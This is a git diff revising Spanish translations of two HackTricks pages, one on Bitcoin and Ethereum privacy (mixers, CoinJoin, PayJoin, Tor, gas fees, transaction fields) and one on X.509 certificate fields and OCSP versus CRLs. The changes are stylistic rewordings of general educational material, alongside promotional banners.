-Un usuario **enviaría bitcoins a un servicio de mezcla** y el servicio **devolvería diferentes bitcoins al usuario**, menos una comisión. En teoría, un adversario que observa la cadena de bloques sería **incapaz de vincular** las transacciones entrantes y salientes.
+Un usuario **enviaría bitcoins a un servicio de mezcla** y el servicio **enviaría diferentes bitcoins de vuelta al usuario**, menos una tarifa. En teoría, un adversario que observe la cadena de bloques sería **incapaz de vincular** las transacciones entrantes y salientes.
-Sin embargo, el usuario necesita confiar en el servicio de mezcla para que devuelva los bitcoin y también para que no guarde registros sobre las relaciones entre el dinero recibido y enviado.\
-Otros servicios también pueden usarse como mezcladores, como los casinos de Bitcoin donde puedes enviar bitcoins y recuperarlos más tarde.
+Sin embargo, el usuario debe confiar en el servicio de mezcla para devolver los bitcoins y también para no estar guardando registros sobre las relaciones entre el dinero recibido y enviado.\
+Algunos otros servicios también pueden usarse como mezcladores, como los casinos de Bitcoin donde se pueden enviar bitcoins y recuperarlos más tarde.
## CoinJoin
-**CoinJoin** **mezclará varias transacciones de diferentes usuarios en solo una** para hacer más **difícil** para un observador averiguar **qué entrada está relacionada con qué salida**.\
-Esto ofrece un nuevo nivel de privacidad, sin embargo, **algunas** **transacciones** donde algunas cantidades de entrada y salida están correlacionadas o son muy diferentes del resto de las entradas y salidas **todavía pueden ser correlacionadas** por el observador externo.
+**CoinJoin** **mezclará varias transacciones de diferentes usuarios en solo una** para hacer más **difícil** para un observador encontrar **qué entrada está relacionada con qué salida**.\
+Esto ofrece un nuevo nivel de privacidad, sin embargo, **algunas** **transacciones** donde algunos montos de entrada y salida están correlacionados o son muy diferentes del resto de las entradas y salidas **todavía pueden ser correlacionadas** por el observador externo.
-Ejemplos de identificadores de transacciones (probablemente) CoinJoin en la cadena de bloques de bitcoin son `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` y `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
+Ejemplos de IDs de transacciones (probablemente) CoinJoin en la cadena de bloques de bitcoin son `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` y `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
[**https://coinjoin.io/en**](https://coinjoin.io/en)\
-**Similar a coinjoin pero mejor y para ethereum tienes** [**Tornado Cash**](https://tornado.cash) **(el dinero lo proporcionan los mineros, así que simplemente aparece en tu billetera).**
+**Similar a CoinJoin pero mejor y para ethereum tienes** [**Tornado Cash**](https://tornado.cash) **(el dinero es proporcionado por los mineros, por lo que simplemente aparece en tu billetera).**
## PayJoin
-El tipo de CoinJoin discutido en la sección anterior puede ser fácilmente identificado como tal al buscar las múltiples salidas con el mismo valor.
+El tipo de CoinJoin discutido en la sección anterior puede identificarse fácilmente como tal al verificar las múltiples salidas con el mismo valor.
-PayJoin (también llamado pago-a-punto-final o P2EP) es un tipo especial de CoinJoin entre dos partes donde una parte paga a la otra. La transacción entonces **no tiene las distintivas múltiples salidas** con el mismo valor, y por lo tanto no es obviamente visible como un CoinJoin de salidas iguales. Considere esta transacción:
+PayJoin (también llamado pago al punto final o P2EP) es un tipo especial de CoinJoin entre dos partes donde una parte paga a la otra. La transacción entonces **no tiene las múltiples salidas distintivas** con el mismo valor, por lo que no es visible de manera obvia como un CoinJoin de salidas iguales. Considere esta transacción:
```
2 btc --> 3 btc
5 btc 4 btc
```
-Podría interpretarse como una simple transacción que paga a algún lugar con cambio sobrante (ignora por ahora la pregunta de cuál salida es el pago y cuál es el cambio). Otra forma de interpretar esta transacción es que la entrada de 2 BTC es propiedad de un comerciante y 5 BTC es propiedad de su cliente, y que esta transacción implica que el cliente paga 1 BTC al comerciante. No hay forma de saber cuál de estas dos interpretaciones es correcta. El resultado es una transacción coinjoin que rompe la heurística de propiedad común de entrada y mejora la privacidad, pero también es **indetectable e indistinguible de cualquier transacción regular de bitcoin**.
+Podría interpretarse como una simple transacción pagando a algún lugar con cambio sobrante (ignorando por ahora la cuestión de cuál salida es el pago y cuál es el cambio). Otra forma de interpretar esta transacción es que la entrada de 2 BTC es propiedad de un comerciante y 5 BTC es propiedad de su cliente, y que esta transacción implica que el cliente pague 1 BTC al comerciante. No hay forma de saber cuál de estas dos interpretaciones es correcta. El resultado es una transacción de coinjoin que rompe la heurística común de propiedad de entrada y mejora la privacidad, pero también es **indetectable e indistinguible de cualquier transacción de bitcoin regular**.
-Si las transacciones PayJoin se utilizaran incluso moderadamente, harían que la **heurística de propiedad común de entrada fuera completamente defectuosa en la práctica**. Como son indetectables, ni siquiera sabríamos si se están utilizando hoy en día. Dado que las empresas de vigilancia de transacciones dependen principalmente de esa heurística, a partir de 2019 hay una gran expectación sobre la idea de PayJoin.
+Si las transacciones PayJoin se utilizan moderadamente, harían que la **heurística común de propiedad de entrada sea completamente defectuosa en la práctica**. Como son indetectables, ni siquiera sabríamos si se están utilizando hoy en día. Dado que las empresas de vigilancia de transacciones dependen en su mayoría de esa heurística, a partir de 2019 hay un gran entusiasmo por la idea de PayJoin.
# Buenas Prácticas de Privacidad en Bitcoin
-## Sincronización de Cartera
+## Sincronización de Monederos
-Las carteras de Bitcoin deben obtener de alguna manera información sobre su saldo e historial. A finales de 2018, las soluciones existentes más prácticas y privadas son usar una **cartera de nodo completo** (que es máximamente privada) y **filtrado de bloques del lado del cliente** (que es muy bueno).
+Los monederos de Bitcoin deben obtener de alguna manera información sobre su saldo e historial. A finales de 2018, las soluciones existentes más prácticas y privadas son usar un **monedero de nodo completo** (que es máximo privado) y **filtrado de bloques del lado del cliente** (que es muy bueno).
-* **Nodo completo:** Los nodos completos descargan toda la blockchain, que contiene cada [transacción](https://en.bitcoin.it/wiki/Transaction) en cadena que ha ocurrido en bitcoin. Por lo tanto, un adversario que observe la conexión a internet del usuario no podrá saber qué transacciones o direcciones le interesan al usuario.
-* **Filtrado de bloques del lado del cliente:** El filtrado de bloques del lado del cliente funciona creando **filtros** que contienen todas las **direcciones** para cada transacción en un bloque. Los filtros pueden probar si un **elemento está en el conjunto**; son posibles falsos positivos pero no falsos negativos. Una cartera ligera **descargaría** todos los filtros para cada **bloque** en la **blockchain** y buscaría coincidencias con sus **propias** **direcciones**. Los bloques que contengan coincidencias se descargarían completamente de la red peer-to-peer, y esos bloques se utilizarían para obtener el historial y el saldo actual de la cartera.
+* **Nodo completo:** Los nodos completos descargan toda la cadena de bloques que contiene cada [transacción en cadena](https://en.bitcoin.it/wiki/Transaction) que ha ocurrido en bitcoin. Por lo tanto, un adversario que observe la conexión a internet del usuario no podrá saber qué transacciones o direcciones le interesan al usuario.
+* **Filtrado de bloques del lado del cliente:** El filtrado de bloques del lado del cliente funciona creando **filtros** que contienen todas las **direcciones** de cada transacción en un bloque. Los filtros pueden probar si un **elemento está en el conjunto**; los falsos positivos son posibles pero no los falsos negativos. Un monedero ligero **descargaría** todos los filtros de cada **bloque** en la **cadena de bloques** y verificaría si hay coincidencias con sus **propias** **direcciones**. Los bloques que contienen coincidencias se descargarían por completo de la red peer-to-peer, y esos bloques se usarían para obtener el historial y el saldo actual del monedero.
## Tor
-La red Bitcoin utiliza una red peer-to-peer, lo que significa que otros pares pueden conocer tu dirección IP. Por eso se recomienda **conectarse a través de Tor cada vez que quieras interactuar con la red de bitcoin**.
+La red de Bitcoin utiliza una red peer-to-peer, lo que significa que otros pares pueden conocer tu dirección IP. Por eso se recomienda **conectarse a través de Tor cada vez que desees interactuar con la red de Bitcoin**.
## Evitar la reutilización de direcciones
-**El uso de direcciones más de una vez es muy perjudicial para la privacidad porque eso vincula más transacciones de la blockchain con la prueba de que fueron creadas por la misma entidad**. La forma más privada y segura de usar bitcoin es enviar una **nueva dirección a cada persona que te pague**. Una vez que se hayan gastado las monedas recibidas, la dirección nunca debería usarse de nuevo. Además, se debe exigir una nueva dirección de bitcoin al enviar bitcoin. Todas las buenas carteras de bitcoin tienen una interfaz de usuario que desalienta la reutilización de direcciones.
+**La reutilización de direcciones es muy perjudicial para la privacidad porque vincula más transacciones en la cadena de bloques con la prueba de que fueron creadas por la misma entidad**. La forma más privada y segura de usar Bitcoin es enviar una **nueva dirección a cada persona que te pague**. Después de que las monedas recibidas hayan sido gastadas, la dirección nunca debería usarse de nuevo. Además, se debe exigir una nueva dirección de Bitcoin al enviar bitcoins. Todos los buenos monederos de Bitcoin tienen una interfaz de usuario que desalienta la reutilización de direcciones.
## Múltiples transacciones
-**Pagar** a alguien con **más de una transacción en cadena** puede reducir enormemente el poder de los ataques de privacidad basados en montos, como la correlación de montos y números redondos. Por ejemplo, si el usuario quiere pagar 5 BTC a alguien y no quiere que el valor de 5 BTC sea fácilmente buscable, entonces pueden enviar dos transacciones por el valor de 2 BTC y 3 BTC que juntas suman 5 BTC.
+**Pagar** a alguien con **más de una transacción en cadena** puede reducir en gran medida el poder de los ataques de privacidad basados en la cantidad, como la correlación de cantidades y los números redondos. Por ejemplo, si el usuario quiere pagar 5 BTC a alguien y no quiere que el valor de 5 BTC sea fácilmente rastreable, entonces puede enviar dos transacciones por el valor de 2 BTC y 3 BTC que juntas suman 5 BTC.
## Evitar el cambio
-La evitación de cambio es donde se eligen cuidadosamente las entradas y salidas de la transacción para no requerir una salida de cambio en absoluto. **No tener una salida de cambio es excelente para la privacidad**, ya que rompe las heurísticas de detección de cambio.
+Evitar el cambio es cuando las entradas y salidas de la transacción se eligen cuidadosamente para no requerir una salida de cambio en absoluto. **No tener una salida de cambio es excelente para la privacidad**, ya que rompe las heurísticas de detección de cambio.
## Múltiples salidas de cambio
-Si la evitación de cambio no es una opción, entonces **crear más de una salida de cambio puede mejorar la privacidad**. Esto también rompe las heurísticas de detección de cambio que generalmente asumen que solo hay una salida de cambio. Como este método utiliza más espacio de bloque que lo habitual, la evitación de cambio es preferible.
+Si evitar el cambio no es una opción, **crear más de una salida de cambio puede mejorar la privacidad**. Esto también rompe las heurísticas de detección de cambio que suelen asumir que solo hay una salida de cambio. Dado que este método utiliza más espacio de bloque de lo habitual, evitar el cambio es preferible.
# Monero
-Cuando se desarrolló Monero, la necesidad apremiante de **anonimato completo** fue lo que buscó resolver, y en gran medida, ha llenado ese vacío.
+Cuando se desarrolló Monero, la gran necesidad de **anonimato completo** fue lo que buscó resolver, y en gran medida, ha llenado ese vacío.
# Ethereum
## Gas
-Gas se refiere a la unidad que mide la **cantidad** de **esfuerzo computacional** requerido para ejecutar operaciones específicas en la red Ethereum. Gas se refiere a la **tarifa** requerida para llevar a cabo con éxito una **transacción** en Ethereum.
+Gas se refiere a la unidad que mide la **cantidad** de **esfuerzo computacional** requerido para ejecutar operaciones específicas en la red Ethereum. Gas se refiere a la **tarifa** requerida para realizar con éxito una **transacción** en Ethereum.
-Los precios del gas se denotan en **gwei**, que es una denominación de ETH - cada gwei es igual a **0.000000001 ETH** (10-9 ETH). Por ejemplo, en lugar de decir que tu gas cuesta 0.000000001 ether, puedes decir que tu gas cuesta 1 gwei. La palabra 'gwei' significa 'giga-wei', y es igual a **1,000,000,000 wei**. Wei es la **unidad más pequeña de ETH**.
+Los precios de gas se indican en **gwei**, que a su vez es una denominación de ETH: cada gwei es igual a **0.000000001 ETH** (10-9 ETH). Por ejemplo, en lugar de decir que tu gas cuesta 0.000000001 ether, puedes decir que tu gas cuesta 1 gwei. La palabra 'gwei' en sí misma significa 'giga-wei', y es igual a **1,000,000,000 wei**. Wei en sí es la **unidad más pequeña de ETH**.
-Para calcular el gas que va a costar una transacción lee este ejemplo:
+Para calcular el gas que va a costar una transacción, lee este ejemplo:
-Digamos que Jordan tiene que pagarle a Taylor 1 ETH. En la transacción el límite de gas es de 21,000 unidades y la tarifa base es de 100 gwei. Jordan incluye una propina de 10 gwei.
+Supongamos que Jordan tiene que pagarle a Taylor 1 ETH. En la transacción, el límite de gas es de 21,000 unidades y la tarifa base es de 100 gwei. Jordan incluye una propina de 10 gwei.
-Usando la fórmula anterior podemos calcular esto como `21,000 * (100 + 10) = 2,310,000 gwei` o 0.00231 ETH.
+Usando la fórmula anterior, podemos calcular esto como `21,000 * (100 + 10) = 2,310,000 gwei` o 0.00231 ETH.
-Cuando Jordan envíe el dinero, se deducirán 1.00231 ETH de la cuenta de Jordan. Taylor será acreditado con 1.0000 ETH. El minero recibe la propina de 0.00021 ETH. La tarifa base de 0.0021 ETH se quema.
+Cuando Jordan envía el dinero, se deducirán 1.00231 ETH de la cuenta de Jordan. Taylor recibirá 1.0000 ETH. El minero recibirá la propina de 0.00021 ETH. La tarifa base de 0.0021 ETH se quema.
-Además, Jordan también puede establecer una tarifa máxima (`maxFeePerGas`) para la transacción. La diferencia entre la tarifa máxima y la tarifa real se reembolsa a Jordan, es decir, `reembolso = tarifa máxima - (tarifa base + tarifa de prioridad)`. Jordan puede establecer una cantidad máxima a pagar por la transacción para ejecutarse y no preocuparse por pagar de más "más allá" de la tarifa base cuando se ejecute la transacción.
+Además, Jordan también puede establecer una tarifa máxima (`maxFeePerGas`) para la transacción. La diferencia entre la tarifa máxima y la tarifa real se reembolsa a Jordan, es decir, `reembolso = tarifa máxima - (tarifa base + tarifa de prioridad)`. Jordan puede establecer un monto máximo a pagar por la ejecución de la transacción y no preocuparse por pagar en exceso "más allá" de la tarifa base cuando se ejecute la transacción.
-Dado que la tarifa base es calculada por la red basada en la demanda de espacio de bloque, este último parámetro: maxFeePerGas ayuda a controlar la tarifa máxima que se va a pagar.
+Dado que la tarifa base se calcula por la red en función de la demanda de espacio de bloque, este último parámetro: maxFeePerGas ayuda a controlar la tarifa máxima que se va a pagar.
## Transacciones
-Ten en cuenta que en la red de **Ethereum** una transacción se realiza entre 2 direcciones y estas pueden ser **direcciones de usuario o de contrato inteligente**.\
-Los **Contratos Inteligentes** se almacenan en el libro mayor distribuido a través de una **transacción** **especial**.
+Ten en cuenta que en la red **Ethereum** una transacción se realiza entre 2 direcciones y estas pueden ser **direcciones de usuario o de contratos inteligentes**.\
+Los **Contratos Inteligentes** se almacenan en el libro mayor distribuido a través de una **transacción especial**.
-Las transacciones, que cambian el estado de la EVM, necesitan ser transmitidas a toda la red. Cualquier nodo puede transmitir una solicitud para que se ejecute una transacción en la EVM; después de que esto suceda, un **minero** **ejecutará** la **transacción** y propagará el cambio de estado resultante al resto de la red.\
+Las transacciones, que cambian el estado del EVM, deben ser difundidas a toda la red. Cualquier nodo puede difundir una solicitud para que se ejecute una transacción en el EVM; después de que esto sucede, un **minero** ejecutará la **transacción** y propagará el cambio de estado resultante al resto de la red.\
Las transacciones requieren una **tarifa** y deben ser minadas para ser válidas.
Una transacción enviada incluye la siguiente información:
-* `recipient` – la dirección receptora (si es una cuenta de propiedad externa, la transacción transferirá valor. Si es una cuenta de contrato, la transacción ejecutará el código del contrato)
-* `signature` – el identificador del remitente. Esto se genera cuando la clave privada del remitente firma la transacción y confirma que el remitente ha autorizado esta transacción
-* `value` – cantidad de ETH para transferir del remitente al receptor (en WEI, una denominación de ETH)
-* `data` – campo opcional para incluir datos arbitrarios
+* `destinatario` – la dirección receptora (si es una cuenta de propiedad externa, la transacción transferirá valor. Si es una cuenta de contrato, la transacción ejecutará el código del contrato)
+* `firma` – el identificador del remitente. Esto se genera cuando la clave privada del remitente firma la transacción y confirma que el remitente ha autorizado esta transacción
+* `valor` – cantidad de ETH a transferir del remitente al destinatario (en WEI, una denominación de ETH)
+* `datos` – campo opcional para incluir datos arbitrarios
* `gasLimit` – la cantidad máxima de unidades de gas que puede consumir la transacción. Las unidades de gas representan pasos computacionales
-* `maxPriorityFeePerGas` - la cantidad máxima de gas a incluir como propina al minero
-* `maxFeePerGas` - la cantidad máxima de gas dispuesta a pagar por la transacción (incluyendo `baseFeePerGas` y `maxPriorityFeePerGas`)
+* `maxPriorityFeePerGas` - la cantidad máxima de gas que se incluirá como propina al minero
+* `maxFeePerGas` - la cantidad máxima de gas dispuesta a pagar por la transacción (incluida `baseFeePerGas` y `maxPriorityFeePerGas`)
-Nota que no hay ningún campo para la dirección de origen, esto es porque esto se puede extrapolar de la firma.
+Ten en cuenta que no hay ningún campo para la dirección de origen, esto se debe a que esto se puede extrapolar de la firma.
# Referencias
@@ -285,18 +285,3 @@ Nota que no hay ningún campo para la dirección de origen, esto es porque esto
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
-
-
-
-
-¡Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
-
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
-
-
diff --git a/cryptography/certificates.md b/cryptography/certificates.md
index b570b8e72..53704d6d3 100644
--- a/cryptography/certificates.md
+++ b/cryptography/certificates.md
@@ -2,55 +2,55 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas**.\
-Obtén acceso hoy:
+Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
+¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## ¿Qué es un Certificado?
+## ¿Qué es un Certificado
-En criptografía, un **certificado de clave pública**, también conocido como **certificado digital** o **certificado de identidad**, es un documento electrónico utilizado para demostrar la propiedad de una clave pública. El certificado incluye información sobre la clave, información sobre la identidad de su propietario (llamado el sujeto) y la firma digital de una entidad que ha verificado el contenido del certificado (llamado el emisor). Si la firma es válida y el software que examina el certificado confía en el emisor, entonces puede usar esa clave para comunicarse de manera segura con el sujeto del certificado.
+En criptografía, un **certificado de clave pública**, también conocido como **certificado digital** o **certificado de identidad**, es un documento electrónico utilizado para demostrar la propiedad de una clave pública. El certificado incluye información sobre la clave, información sobre la identidad de su propietario (llamado el sujeto) y la firma digital de una entidad que ha verificado el contenido del certificado (llamado el emisor). Si la firma es válida y el software que examina el certificado confía en el emisor, entonces puede usar esa clave para comunicarse de forma segura con el sujeto del certificado.
-En un esquema típico de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI), el emisor del certificado es una [autoridad de certificación](https://en.wikipedia.org/wiki/Certificate_authority) (CA), generalmente una empresa que cobra a los clientes por emitir certificados para ellos. Por el contrario, en un esquema de [red de confianza](https://en.wikipedia.org/wiki/Web_of_trust), los individuos firman directamente las claves de los demás, en un formato que realiza una función similar a un certificado de clave pública.
+En un esquema típico de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI), el emisor del certificado es una [autoridad de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CA), generalmente una empresa que cobra a los clientes por emitir certificados para ellos. En contraste, en un esquema de [red de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), los individuos firman directamente las claves de los demás, en un formato que realiza una función similar a la de un certificado de clave pública.
-El formato más común para los certificados de clave pública está definido por [X.509](https://en.wikipedia.org/wiki/X.509). Debido a que X.509 es muy general, el formato está más restringido por perfiles definidos para ciertos casos de uso, como [Infraestructura de Clave Pública (X.509)](https://en.wikipedia.org/wiki/PKIX) según se define en el RFC 5280.
+El formato más común para los certificados de clave pública está definido por [X.509](https://en.wikipedia.org/wiki/X.509). Debido a que X.509 es muy general, el formato está aún más restringido por perfiles definidos para ciertos casos de uso, como [Infraestructura de Clave Pública (X.509)](https://en.wikipedia.org/wiki/PKIX) como se define en RFC 5280.
## Campos Comunes de x509
* **Número de Versión:** Versión del formato x509.
-* **Número de Serie**: Utilizado para identificar de manera única el certificado dentro de los sistemas de una CA. En particular, se utiliza para rastrear información de revocación.
+* **Número de Serie**: Utilizado para identificar de forma única el certificado dentro de los sistemas de una CA. En particular, se utiliza para hacer un seguimiento de la información de revocación.
* **Sujeto**: La entidad a la que pertenece un certificado: una máquina, un individuo o una organización.
* **Nombre Común**: Dominios afectados por el certificado. Puede ser 1 o más y puede contener comodines.
* **País (C)**: País
-* **Nombre Distinguido (DN)**: Todo el sujeto: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
+* **Nombre Distintivo (DN)**: Todo el sujeto: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
* **Localidad (L)**: Lugar local
* **Organización (O)**: Nombre de la organización
* **Unidad Organizativa (OU)**: División de una organización (como "Recursos Humanos").
-* **Estado o Provincia (ST, S o P)**: Lista de nombres de estado o provincia
+* **Estado o Provincia (ST, S o P)**: Lista de nombres de estados o provincias
* **Emisor**: La entidad que verificó la información y firmó el certificado.
-* **Nombre Común (CN)**: Nombre de la autoridad certificadora
-* **País (C)**: País de la autoridad certificadora
-* **Nombre Distinguido (DN)**: Nombre distinguido de la autoridad certificadora
+* **Nombre Común (CN)**: Nombre de la autoridad de certificación
+* **País (C)**: País de la autoridad de certificación
+* **Nombre Distintivo (DN)**: Nombre distintivo de la autoridad de certificación
* **Localidad (L)**: Lugar local donde se puede encontrar la organización.
* **Organización (O)**: Nombre de la organización
* **Unidad Organizativa (OU)**: División de una organización (como "Recursos Humanos").
-* **No Antes**: La fecha y hora más tempranas en las que el certificado es válido. Generalmente se establece a unas pocas horas o días antes del momento en que se emitió el certificado, para evitar problemas de [desfase de reloj](https://en.wikipedia.org/wiki/Clock_skew#On_a_network).
-* **No Después**: La fecha y hora después de las cuales el certificado ya no es válido.
+* **No Antes de**: La fecha y hora más temprana en la que el certificado es válido. Por lo general, se establece unas horas o días antes del momento en que se emitió el certificado, para evitar problemas de [desviación de reloj](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network).
+* **No Después de**: La fecha y hora después de la cual el certificado ya no es válido.
* **Clave Pública**: Una clave pública perteneciente al sujeto del certificado. (Esta es una de las partes principales ya que es lo que firma la CA)
* **Algoritmo de Clave Pública**: Algoritmo utilizado para generar la clave pública. Como RSA.
* **Curva de Clave Pública**: La curva utilizada por el algoritmo de clave pública de curva elíptica (si aplica). Como nistp521.
@@ -58,38 +58,38 @@ El formato más común para los certificados de clave pública está definido po
* **Tamaño de Clave Pública**: El tamaño del espacio de clave pública en bits. Como 2048.
* **Algoritmo de Firma**: El algoritmo utilizado para firmar el certificado de clave pública.
* **Firma**: Una firma del cuerpo del certificado por la clave privada del emisor.
-* **extensiones x509v3**
+* **Extensiones x509v3**
* **Uso de Clave**: Los usos criptográficos válidos de la clave pública del certificado. Los valores comunes incluyen validación de firma digital, cifrado de clave y firma de certificado.
-* En un certificado web, esto aparecerá como una _extensión X509v3_ y tendrá el valor `Firma Digital`
+* En un certificado web esto aparecerá como una _extensión X509v3_ y tendrá el valor `Firma Digital`
* **Uso Extendido de Clave**: Las aplicaciones en las que se puede utilizar el certificado. Los valores comunes incluyen autenticación de servidor TLS, protección de correo electrónico y firma de código.
-* En un certificado web, esto aparecerá como una _extensión X509v3_ y tendrá el valor `Autenticación de Servidor Web TLS`
-* **Nombre Alternativo del Sujeto:** Permite a los usuarios especificar nombres de host adicionales para un único certificado SSL. El uso de la extensión SAN es una práctica estándar para los certificados SSL, y está en camino de reemplazar el uso del nombre común.
+* En un certificado web esto aparecerá como una _extensión X509v3_ y tendrá el valor `Autenticación de Servidor Web TLS`
+* **Nombre Alternativo del Sujeto:** Permite a los usuarios especificar nombres de host adicionales para un solo **certificado** SSL. El uso de la extensión SAN es una práctica estándar para los certificados SSL y está en camino de reemplazar el uso del **nombre** común.
* **Restricción Básica:** Esta extensión describe si el certificado es un certificado de CA o un certificado de entidad final. Un certificado de CA es algo que firma certificados de otros y un certificado de entidad final es el certificado utilizado en una página web, por ejemplo (la última parte de la cadena).
-* **Identificador de Clave del Sujeto** (SKI): Esta extensión declara un identificador único para la clave pública en el certificado. Es obligatorio en todos los certificados de CA. Las CA propagan su propio SKI al Identificador de Clave del Emisor (AKI) en los certificados emitidos. Es el hash de la clave pública del sujeto.
+* **Identificador de Clave del Sujeto** (SKI): Esta extensión declara un **identificador** único para la **clave pública** en el certificado. Es necesario en todos los certificados de CA. Las CA propagan su propio SKI a la extensión Identificador de Clave del Emisor (AKI) en los certificados emitidos. Es el hash de la clave pública del sujeto.
* **Identificador de Clave de Autoridad**: Contiene un identificador de clave que se deriva de la clave pública en el certificado del emisor. Es el hash de la clave pública del emisor.
-* **Acceso a Información de Autoridad** (AIA): Esta extensión contiene como máximo dos tipos de información:
-* Información sobre **cómo obtener el emisor de este certificado** (método de acceso al emisor de CA)
-* Dirección del **respondedor OCSP de donde se puede verificar la revocación de este certificado** (método de acceso OCSP).
-* **Puntos de Distribución de CRL**: Esta extensión identifica la ubicación de la CRL desde la cual se puede verificar la revocación de este certificado. La aplicación que procesa el certificado puede obtener la ubicación de la CRL de esta extensión, descargar la CRL y luego verificar la revocación de este certificado.
+* **Acceso a la Información de la Autoridad** (AIA): Esta extensión contiene como máximo dos tipos de información:
+* Información sobre **cómo obtener el emisor de este certificado** (método de acceso del emisor de la CA)
+* Dirección del **respondedor OCSP desde donde se puede verificar la revocación de este certificado** (método de acceso OCSP).
+* **Puntos de Distribución de la LCR**: Esta extensión identifica la ubicación de la LCR desde la cual se puede verificar la revocación de este certificado. La aplicación que procesa el certificado puede obtener la ubicación de la LCR desde esta extensión, descargar la LCR y luego verificar la revocación de este certificado.
* **CT Precertificate SCTs**: Registros de transparencia de certificados con respecto al certificado
-### Diferencia entre OCSP y Puntos de Distribución de CRL
+### Diferencia entre OCSP y Puntos de Distribución de la LCR
-**OCSP** (RFC 2560) es un protocolo estándar que consiste en un **cliente OCSP y un respondedor OCSP**. Este protocolo **determina el estado de revocación de un certificado de clave pública digital dado** **sin** tener que **descargar** la **CRL completa**.\
-**CRL** es el **método tradicional** de verificar la validez de un certificado. Una **CRL proporciona una lista de números de serie de certificados** que han sido revocados o ya no son válidos. Las CRL permiten al verificador comprobar el estado de revocación del certificado presentado mientras lo verifica. Las CRL están limitadas a 512 entradas.\
-Desde [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
+**OCSP** (RFC 2560) es un protocolo estándar que consiste en un **cliente OCSP y un respondedor OCSP**. Este protocolo **determina el estado de revocación de un certificado digital de clave pública dado** **sin** tener que **descargar** la **LCR completa**.\
+**LCR** es el **método tradicional** para verificar la validez del certificado. Una **LCR proporciona una lista de números de serie de certificados** que han sido revocados o ya no son válidos. Las LCR permiten al verificador verificar el estado de revocación del certificado presentado mientras lo verifica. Las LCR están limitadas a 512 entradas.\
+De [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
-### ¿Qué es la Transparencia de Certificados?
+### ¿Qué es la Transparencia de Certificados
